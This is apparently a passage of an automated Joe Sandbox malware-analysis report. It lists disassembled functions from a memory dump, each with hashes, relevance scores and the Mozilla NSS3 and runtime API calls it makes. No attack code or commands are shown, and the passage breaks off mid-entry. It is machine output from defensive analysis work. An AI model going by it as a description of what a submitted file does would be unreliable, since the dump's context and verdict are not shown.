Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction ID: f625918c0efc58c2b3c9c5a3adee8dc4a2bbfa31ccb5f31ca807e0658c0daab1
Opcode Fuzzy Hash: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction Fuzzy Hash: 1E51E9B6A02104AFE710DF69DC44BDA77F4EF49348F250624E916A7740EB31E905CBB9

Function 6C69FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C69FFE5

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A0004
PR_EnterMonitor.NSS3(?), ref: 6C6A001B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction ID: c5b1677218e732e0f199a6f85de4e0cfae9fd2aef46a3cd948c02fdece431440
Opcode Fuzzy Hash: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction Fuzzy Hash: 874127756486808BE7204AE9DC517EB72A1DF4234CF10053DD44BCAE90E7B9AD5BCA4E

Function 6C65EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C65EF38

Part of subcall function 6C649520: PK11_IsLoggedIn.NSS3(00000000,?,6C67379E,?,00000001,?), ref: 6C649542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C65EF53

Part of subcall function 6C664C20: TlsGetValue.KERNEL32 ref: 6C664C4C
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?), ref: 6C664C60
Part of subcall function 6C664C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
Part of subcall function 6C664C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
Part of subcall function 6C664C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A

PR_GetCurrentThread.NSS3 ref: 6C65EF9E

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

free.MOZGLUE(00000000), ref: 6C65EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C65F016
free.MOZGLUE(00000000), ref: 6C65F022

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction ID: 96d7f4384856830ecf6f78c6220cf3362af33e45140e6ba6ceb82f5a8574bb3b
Opcode Fuzzy Hash: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction Fuzzy Hash: 8441A471E00109ABDF018FA9DC54BEF7BB9AF49348F544025F904A7350EB72C9258BA9

Function 6C64CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C64CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C64D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C64D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64D025
PR_NewLock.NSS3 ref: 6C64D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64D074

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction ID: e3bc9a255b42e9042eb5016fd650d4c6d96136ce706c5867bf502501975fc9ff
Opcode Fuzzy Hash: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction Fuzzy Hash: 1241F4B0E013119FDB10DF29C88079ABBE4EF09719F10C16ADC198BB42E774D489CBA9

Function 6C693FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C693FF2

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C694001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C69400F

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C694054

Part of subcall function 6C62BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C62BC24
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BC39
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C62BC58
Part of subcall function 6C62BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C62BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C694070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6940CD

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 99c3fada542243585f14870de859595838f314e073677e856cc74e25236b659b
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B0310A71E0034697EB008F649C81BBB3364AF9570CF144225ED199B746FB72E958C7AA

Function 6C632E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C622D1A), ref: 6C632E7E

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

PR_Now.NSS3 ref: 6C632EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C632EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C622D1A), ref: 6C632F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C622D1A), ref: 6C632F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C632F81

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 15993e4f5fec505f7eb9b4c1b446020056928422903f2fc7870bf012302d87fb
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 653145715421248BF710C614DC48BEE7365EF81318F24797DD11E97AD2EB30984ACAAE

Function 6C620E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C620A2C), ref: 6C620E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C620A2C), ref: 6C620E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C620A2C), ref: 6C620E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C620A2C), ref: 6C620E90
free.MOZGLUE(00000000), ref: 6C620EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C620A2C), ref: 6C620ED9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction ID: 4e0f1c8466425d5409143da5ac6fb36c32812120d0f64b8a5ee8d44b1ce97d34
Opcode Fuzzy Hash: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction Fuzzy Hash: 1021A3B7F0028457EB0045655C65BA776AEDFC1308F050035D85C53A02FB68C8978AAA

Function 6C62AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C62AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C62AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C749500), ref: 6C62AF23

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62AF37

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction ID: 0948964ce8bc8e686d5d8f2ed0c916822ec292a0dd94039db292b9f5899a339e
Opcode Fuzzy Hash: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction Fuzzy Hash: 46214CB1909200ABE7208E189C01B9A77E4AF8572CF144719FC649B7C2F779D5058BBF

Function 6C6AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85
realloc.MOZGLUE(897476D0,?), ref: 6C6AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6AEEC5

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

htonl.WSOCK32(?), ref: 6C6AEEE3
htonl.WSOCK32(00000000,?), ref: 6C6AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6AEF01

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction ID: bae028b01f136ffc30c02e29ec9932ff6e288401f15c4b2c8d0eb8dc7d6a1b6c
Opcode Fuzzy Hash: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction Fuzzy Hash: 0721D671A002249FCF109F68DC8479AB7A4EF49358F158179EC099B642E330EC16C7EA

Function 6C65EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65EE49

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C65EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C65EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C65EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C65EEB3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2d21c71bdfac93dff1015d842b9cdbf9462363f9cea0bbf83c0882ee49d61eaf
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6B21C3B6B10211ABEF118B28DC81EAB77A8AB46708F544564FE089B341E771DC2587F9

Function 6C627F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627F68

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C627F7B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627FA7

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74919C,?), ref: 6C627FBB

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C74915C,00000014), ref: 6C627FFE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction ID: 722d6395ccf27f9c9aa003f00f738c753770f529b3b3ac78a0d4f16bfadae753
Opcode Fuzzy Hash: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction Fuzzy Hash: 31112771D0520557E7209A259D44FBB72ECDF5665CF100A2DFC59C2A81F720A548C6BD

Function 6C62BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6ADC29,?), ref: 6C62BE64

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6ADC29,?), ref: 6C62BE78

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6ADC29,?), ref: 6C62BE96

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6ADC29,?), ref: 6C62BEBB

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6ADC29,?), ref: 6C62BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6ADC29,?), ref: 6C62BEF3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 78db757442e473c053e9acbf86266a1cf70b926ed5074d8722be2f431d31c077
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 4611BB71E012055BEB008B65AD51FAE3768EF81398F144424ED59D7740EB35E909CBB9

Function 6C6B3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B3D3F

Part of subcall function 6C62BA90: PORT_NewArena_Util.NSS3(00000800,6C6B3CAF,?), ref: 6C62BABF
